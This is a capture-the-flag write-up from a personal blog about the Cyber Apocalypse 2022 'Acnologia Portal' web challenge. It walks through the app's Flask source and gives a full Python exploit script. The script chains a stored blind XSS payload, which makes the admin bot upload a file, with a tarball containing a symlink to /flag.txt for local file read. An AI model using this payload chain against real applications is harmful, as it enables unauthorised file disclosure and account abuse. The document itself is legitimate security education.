GODSON'S BLOG
← Back to Writeups

B-XSS -> ZipSlip -> Local File Read

A Cyber Apocalypse CTF 2022 web challenge chaining a blind XSS in an admin report-review page into a ZipSlip symlink attack on a firmware-upload endpoint to read /flag.txt off the server.

As usual, I got some time to play CTFs and decided to join my team, TamilCTF, to play Cyber Apocalypse CTF 2022 (organized by HackTheBox). Let’s see a solution for one of the web challenges I solved during the event that I found interesting.

💡 Challenge Name: Acnologia Portal

Introduction

The following screenshot shows what the web app looks like:

The Acnologia Portal web app

We’re provided with the source code, and the following screenshot shows its structure:

Source code directory structure

Report

The app has a reporting feature, and a bot that visits reports — so we need an XSS:

The reporting feature

Source Code

database.py defines User, Firmware, and Report models (nothing especially interesting), and seeds an admin user plus a handful of firmware rows on migrate_db().

routes.py:

import json
from application.database import User, Firmware, Report, db, migrate_db
from application.util import is_admin, extract_firmware
from flask import Blueprint, jsonify, redirect, render_template, request
from flask_login import current_user, login_required, login_user, logout_user
from application.bot import visit_report

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

def response(message):
    return jsonify({'message': message})

@web.route('/', methods=['GET'])
def login():
    return render_template('login.html')

@api.route('/login', methods=['POST'])
def user_login():
    if not request.is_json:
        return response('Missing required parameters!'), 401
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    if not username or not password:
        return response('Missing required parameters!'), 401
    user = User.query.filter_by(username=username).first()
    if not user or not user.password == password:
        return response('Invalid username or password!'), 403
    login_user(user)
    return response('User authenticated successfully!')

@web.route('/register', methods=['GET'])
def register():
    return render_template('register.html')

@api.route('/register', methods=['POST'])
def user_registration():
    if not request.is_json:
        return response('Missing required parameters!'), 401
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    if not username or not password:
        return response('Missing required parameters!'), 401
    user = User.query.filter_by(username=username).first()
    if user:
        return response('User already exists!'), 401
    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()
    return response('User registered successfully!')

@web.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@api.route('/firmware/list', methods=['GET'])
@login_required
def firmware_list():
    firmware_list = Firmware.query.all()
    return jsonify([row.to_dict() for row in firmware_list])

@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
    if not request.is_json:
        return response('Missing required parameters!'), 401
    data = request.get_json()
    module_id = data.get('module_id', '')
    issue = data.get('issue', '')
    if not module_id or not issue:
        return response('Missing required parameters!'), 401
    new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
    db.session.add(new_report)
    db.session.commit()
    visit_report()
    migrate_db()
    return response('Issue reported successfully!')

@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
    if 'file' not in request.files:
        return response('Missing required parameters!'), 401
    extraction = extract_firmware(request.files['file'])
    if extraction:
        return response('Firmware update initialized successfully.')
    return response('Something went wrong, please try again!'), 403

@web.route('/review', methods=['GET'])
@login_required
@is_admin
def review_report():
    Reports = Report.query.all()
    return render_template('review.html', reports=Reports)

@web.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect('/')

@login_required checks the user is authenticated. @is_admin checks the username matches the configured admin username and that the request’s source IP is 127.0.0.1:

def is_admin(f):
    @functools.wraps(f)
    def wrap(*args, **kwargs):
        if current_user.username == current_app.config['ADMIN_USERNAME'] and request.remote_addr == '127.0.0.1':
            return f(*args, **kwargs)
        else:
            return abort(401)
    return wrap

/api/firmware/report saves a report and then calls visit_report() (the bot views it) followed by migrate_db() (which clears the reports table). /api/firmware/upload is admin-only and accepts a file, handed to extract_firmware():

def extract_firmware(file):
    tmp = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path)

    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)

        rand_dir = generate(15)
        extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
        os.makedirs(extractdir, exist_ok=True)
        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                try:
                    filename = f'{extractdir}/{name}'
                    os.rename(os.path.join(tmp, name), filename)
                    continue
                except:
                    pass
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)
        tar.close()
        return True

    return False

Uploaded files are first saved to /tmp, then — if they’re a valid tar file — extracted there too. The loop afterward only special-cases regular files (tarinfo.isreg()), moving them into a randomly-named subdirectory under the app’s static folder (/app/application/static/[random_number], which is web-accessible). Anything that isn’t a regular file (like a symlink) just gets os.makedirs’d instead of validated — and critically, the check that would catch a path-traversing entry only runs against the original /tmp extraction location, not the final static destination.

review.html renders report content with the Jinja safe filter, with no sanitization:

<div class="card-header"> Reported by : USER
</div>
<div class="card-body">
  <p class="card-title">Module ID : {{ report.module_id }}</p>
  <p class="card-text">Issue : {{ report.issue | safe }} </p>
  <a href="#" class="btn btn-primary">Reply</a>
  <a href="#" class="btn btn-danger">Delete</a>
</div>

That’s our XSS.

Exploit Idea

Session cookies are HttpOnly, so we can’t read them with JavaScript directly — but we don’t need to, since our blind XSS runs as the bot/admin and can just make requests on our behalf. Even so, the admin-only endpoints check request.remote_addr == '127.0.0.1', so we can’t hit /api/firmware/upload ourselves — but the bot, presumably running on the same host, can.

This is a textbook ZipSlip: packing a symlink into a tar/gzip archive so that, on extraction, it traverses outside the intended directory. Here, since extract_firmware() only validates regular files and skips that check once files land in the static directory, we can create a symlink named e.g. getflag.txt pointing at /flag.txt, pack it into the uploaded tarball, and have it survive extraction into the app’s static (web-accessible) directory.

Exploit

A Python script to automate the whole chain — register an account, log in, build a malicious tarball containing a symlink to /flag.txt, base64-encode it, and use the blind XSS (via the report endpoint) to have the bot upload it as the admin:

import requests
import os
import random
import string
import tarfile

letters = string.ascii_lowercase
randomText = ''.join(random.choice(letters) for i in range(10))
url = 'http://localhost:1337'

def registerUser(username, password):
    r = requests.post(url + '/api/register', json={"username": username, "password": password})
    if r.status_code != 200:
        print(r.text)
        exit()

def loginUser(username, password):
    r = requests.post(url + '/api/login', json={"username": username, "password": password})
    if r.status_code != 200:
        print(r.text)
        exit()
    session = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
    global cookies
    cookies = {'session': session}
    r = requests.get(url + '/dashboard', cookies=cookies)

def makeTar():
    os.system(f'mkdir ../app')
    os.system(f'mkdir ../app/application/')
    os.system(f'mkdir ../app/application/static')
    os.system('ln -s /flag.txt getflag.txt; mv getflag.txt ../app/application/static/')

    tar = tarfile.open('exp.tar', 'w')
    tar.add('../app/application/static/getflag.txt')
    tar.close()

    os.system('gzip exp.tar')
    os.system('rm -rf ../app')

def js():
    string = os.popen('cat exp.tar.gz | base64 -w0')
    os.system('rm -rf exp.tar.gz')
    b64String = string.read()
    global js
    js = """
    <script>
    function base64toBlob(base64Data, contentType) {
      contentType = contentType || '';
      var sliceSize = 1024;
      var byteCharacters = atob(base64Data);
      var bytesLength = byteCharacters.length;
      var slicesCount = Math.ceil(bytesLength / sliceSize);
      var byteArrays = new Array(slicesCount);
      for (var sliceIndex = 0; sliceIndex < slicesCount; ++sliceIndex) {
        var begin = sliceIndex * sliceSize;
        var end = Math.min(begin + sliceSize, bytesLength);
        var bytes = new Array(end - begin);
        for (var offset = begin, i = 0; offset < end; ++i, ++offset) {
          bytes[i] = byteCharacters[offset].charCodeAt(0);
        }
        byteArrays[sliceIndex] = new Uint8Array(bytes);
      }
      return new Blob(byteArrays, { type: contentType });
    }
    var b64file = """ + f"'{b64String}'" + """;
    var content_type = 'application/x-gtar-compressed';
    var blob = base64toBlob(b64file, content_type);
    var formData = new FormData();
    formData.append('file', blob, 'abcd');
    var url = 'http://localhost:1337/api/firmware/upload';
    var request = new XMLHttpRequest();
    request.withCredentials = true;
    request.open('POST', url);
    request.send(formData);
    </script>
    """

def report():
    r = requests.post(url + '/api/firmware/report', cookies=cookies, json={"module_id": "1", "issue": f"{js}"})
    if r.status_code != 200:
        print(r.text)
        exit()

def getflag():
    r = requests.get(url + '/static/getflag.txt')
    print(r.text.strip())
    exit()

def main():
    registerUser(randomText, randomText)
    loginUser(randomText, randomText)
    makeTar()
    js()
    report()
    getflag()

if __name__ == "__main__":
    main()

Running it, we get the flag:

The script printing the recovered flag

🚩 FLAG: HTB{des3r1aliz3_4ll_th3_th1ngs}

On This Page